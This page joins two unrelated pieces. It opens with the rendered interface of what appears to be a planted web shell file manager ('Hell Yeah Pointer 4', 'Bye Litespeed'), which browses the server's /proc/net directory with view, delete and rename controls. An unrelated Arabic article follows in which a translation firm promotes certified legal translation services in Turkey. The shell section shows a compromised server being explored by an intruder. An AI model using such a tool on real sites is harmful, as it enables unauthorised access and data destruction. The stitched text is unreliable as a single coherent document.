Hell Yeah Pointer 4
     __    Bye Litespeed   _____ 
     ██████   ██████ ███████████       █████████  █████   ████ █████   ████           
░░██████ ██████ ░░███░░░░░███     ███░░░░░███░░███   ███░ ░░███   ███░            
 ░███░█████░███  ░███    ░███    ░███    ░░░  ░███  ███    ░███  ███              
 ░███░░███ ░███  ░██████████     ░░█████████  ░███████     ░███████               
 ░███ ░░░  ░███  ░███░░░░░███     ░░░░░░░░███ ░███░░███    ░███░░███              
 ░███      ░███  ░███    ░███     ███    ░███ ░███ ░░███   ░███ ░░███             
 █████     █████ █████   █████   ░░█████████  █████ ░░████ █████ ░░████                        
Zona waktu server: Asia/Riyadh
Waktu server saat ini: 2026-03-04 18:44:16
curdir: / / proc / 3500373 / net / [ GO Home ]


Item Name
Size
Date
Permissions
View
Delete
Rename
. 0 2026-03-04 18:44:16 0555
.. 0 2026-03-04 18:43:16 0555
anycast6 0 2026-03-04 18:44:16 0444
arp 0 2026-03-04 18:44:16 0444
connector 0 2026-03-04 18:44:16 0444
dev 0 2026-03-04 18:44:16 0444
dev_mcast 0 2026-03-04 18:44:16 0444
dev_snmp6 0 2026-03-04 18:44:16 0555
fib_trie 0 2026-03-04 18:44:16 0444
fib_triestat 0 2026-03-04 18:44:16 0444
icmp 0 2026-03-04 18:44:16 0444
icmp6 0 2026-03-04 18:44:16 0444
if_inet6 0 2026-03-04 18:44:16 0444
igmp 0 2026-03-04 18:44:16 0444
igmp6 0 2026-03-04 18:44:16 0444
ip6_flowlabel 0 2026-03-04 18:44:16 0444
ip6_mr_cache 0 2026-03-04 18:44:16 0444
ip6_mr_vif 0 2026-03-04 18:44:16 0444
ip6_tables_matches 0 2026-03-04 18:44:16 0440
ip6_tables_names 0 2026-03-04 18:44:16 0440
ip6_tables_targets 0 2026-03-04 18:44:16 0440
ip_mr_cache 0 2026-03-04 18:44:16 0444
ip_mr_vif 0 2026-03-04 18:44:16 0444
ip_tables_matches 0 2026-03-04 18:44:16 0440
ip_tables_names 0 2026-03-04 18:44:16 0440
ip_tables_targets 0 2026-03-04 18:44:16 0440
ipv6_route 0 2026-03-04 18:44:16 0444
mcfilter 0 2026-03-04 18:44:16 0444
mcfilter6 0 2026-03-04 18:44:16 0444
netfilter 0 2026-03-04 18:44:16 0555
netlink 0 2026-03-04 18:44:16 0444
netstat 0 2026-03-04 18:44:16 0444
nf_conntrack 0 2026-03-04 18:44:16 0440
nf_conntrack_expect 0 2026-03-04 18:44:16 0440
packet 0 2026-03-04 18:44:16 0444
protocols 0 2026-03-04 18:44:16 0444
psched 0 2026-03-04 18:44:16 0444
ptype 0 2026-03-04 18:44:16 0444
raw 0 2026-03-04 18:44:16 0444
raw6 0 2026-03-04 18:44:16 0444
route 0 2026-03-04 18:44:16 0444
rpc 0 2026-03-04 18:44:16 0555
rt6_stats 0 2026-03-04 18:44:16 0444
rt_acct 0 2026-03-04 18:44:16 0444
rt_cache 0 2026-03-04 18:44:16 0444
snmp 0 2026-03-04 18:44:16 0444
snmp6 0 2026-03-04 18:44:16 0444
sockstat 0 2026-03-04 18:44:16 0444
sockstat6 0 2026-03-04 18:44:16 0444
softnet_stat 0 2026-03-04 18:44:16 0444
stat 0 2026-03-04 18:44:16 0555
tcp 0 2026-03-04 18:44:16 0444
tcp6 0 2026-03-04 18:44:16 0444
udp 0 2026-03-04 18:44:16 0444
udp6 0 2026-03-04 18:44:16 0444
udplite 0 2026-03-04 18:44:16 0444
udplite6 0 2026-03-04 18:44:16 0444
unix 0 2026-03-04 18:44:16 0444
xfrm_stat 0 2026-03-04 18:44:16 0444
مجموعة كريم - الترجمة القانونية الاحترافية في تركيا

الترجمة القانونية الاحترافية في تركيا

Blog Details

الترجمة القانونية الاحترافية في تركيا

 

لا شك أن أهم احتياجات الوافد الأجنبي إلى تركيا هي الترجمة من اللغة العربية أو الإنجليزية أو لغته الأم إلى اللغة التركية، ولكن الكثير من الناس من يقع بخطأ الوثوق بأشخاص لا ينبغي الوثوق بهم، لأن الدوائر الحكومية الرسمية تشترط شروطا لتعتمد الترجمة ولتكون قانونية فيها.

لذا سنتعرف في هذه المقالة على الترجمة القانونية في تركيا.

 

ما هي الترجمة القانونية؟

إن للترجمة القانونية العديد من المصطلحات والتعاريف التي ممكن أن نعرفها بها، ومن أشهر هذه التعريفات أنها عملية تشمل نقل نصوص معينة من لغة إلى لغة أخرى، مع وجوب التقيد التام بنظام المصطلحات القانونية، وكيفيتها، وأصل الصياغة القانونية التي يجب أن تتوافق مع القوانين والتشريعات الوطنية للغة الدولة التي يتم الترجمة إليها.

 

ما هي خصائص الترجمة القانونية؟

  • مهارة عالية في اللغة

إن المترجم القانوني يجب أن يمتلك مهارات عالية في اللغتين، وأن يستطيع أن يقدّر البدائل بين اللغتين لتحيق التكافؤ الوظيفي أثناء الترجمة عبر التوافق بين المعاني القانونية واللغوية والنص الذي يتم ترجمته.

  • إتقان اللغة بكامل مصطلحاتها

على المترجم القانوني أن يكون متقنا للغتين ومصطلحاتهم بشكل كامل، وبالأخص المصطلحات القانونية التي يتم طلب المترجم لها، لذا على المترجم القانوني أن يكون على دراية تامة بالمصطلحات وما يقابل كل مصطلح في اللغتين.

  • الالتزام بحرفية النص

ينص على المترجم القانوني أن يكون ملتزما بحرفية النص، ومعناه الأصلي، بدون أن يجتهد في التفسيرات وتأويل المعاني المتعلقة بالنص.

  • الأمانة

إن أهم خصائص الترجمة القانونية هي الأمانة العلمية والمهنية، وعدم التلاعب لكي يحقق استيفاء المعنى، ومقابلته في اللغة الثانية بشكل كامل دون زيادة أو نقصان.

 

ما الفرق بين الترجمة العادية والترجمة القانونية؟

بكل بساطة، إن الترجمة العادية هي التي تكون ترجمة الحديث من لغة إلى لغة معينة، أما الترجمة القانونية فهي الترجمة الأكثر تعقيدا، لأنه يتم استعمال الترجمة القانونية في الدوائر الحكومية الرسمية والمشافي والمدارس، ولذلك يحتاج المترجم القانوني إلى أن يكون مترجما محلفا في تركيا ومعترف به، والترجمان المحلف له شروط وشهادة ورخصة لمزاولة العمل القانوني للترجمة، ومن الشروط التي يتم وضعها للحصول على رخصة الترجمة المحلفة في تركيا، أن يكون من الأشخاص الحاملين للجنسية التركية، وأن يكون غير محكوم.

 

ما هي أهمية الترجمة القانونية في تركيا؟

إن مع توسع نطاق الاستثمارات العربية والأجنبية في ولايات تركيا، بالتزامن مع نهضة السوق العقاري الهائلة التي تشهدها تركيا في الفترة الأخيرة، والإقبال غير المسبوق من الطلاب الأجانب والعرب على الجامعات التركية، والنشاط السياحي الكبير الذي يترافع مع قدوم أعداد هائلة وكبيرة من السياح العرب والأجانب إلى تركيا، فنجد أننا بحاجة ماسة إلى وجود هيئات ذات صبغة رسمية تقدم خدمات الترجمة المحلفة والاحترافية للعقود والمواثيق والمستندات والأوراق اللازمة لكافة الأطياف من المستثمرين والطلاب والسياح في تركيا.

وهنا تكمن أهمية المترجم المحلف في تركيا الذي لا يمكن للأجانب الاستغناء عن خدماته بأي حال من الأحوال، فترجمة الأوراق الرسمية، وتصديقها في دوائر النوتر (كاتب العدل) يمنح تلك الأوراق القيمة القانونية التي تمكن أصحابها من الاستفادة من هذه الأوراق.

 

خدمات الترجمة القانونية في تركيا

مجموعة كريم للترجمة القانونية في خدمتكم في كل ما يتعلق في الترجمة القانونية المتعلقة، في إدارة العقود، والتعاقدات العقاري والتجارية وهي من المهارات التي تقدمها مجموعة كريم بجميع اللغات ترجمة دقيقة.

 

ويتكون الفريق مجموعة من المترجمين المؤهلين وأصحاب الكفاءة والخبرة الواسعة والمعترف عليهم من قبل عدد كبير من المؤسسات القانونية، وشركات المحاماة، ومكاتب الاستشارات القانونية، حيث نقوم بترجمة المذكرات والأحكام القضائية وجميع المستندات من الإنجليزية إلى التركي في تركيا ترجمة جوازات السفر ومستندات الشركات من العربية إلى الإنجليزية في تركيا ترجمة العقود وشهادات الميلاد من العربية إلى التركي في تركيا نضع كافة خدمات الترجمة القانونية في جميع المدن التركية بين يديك.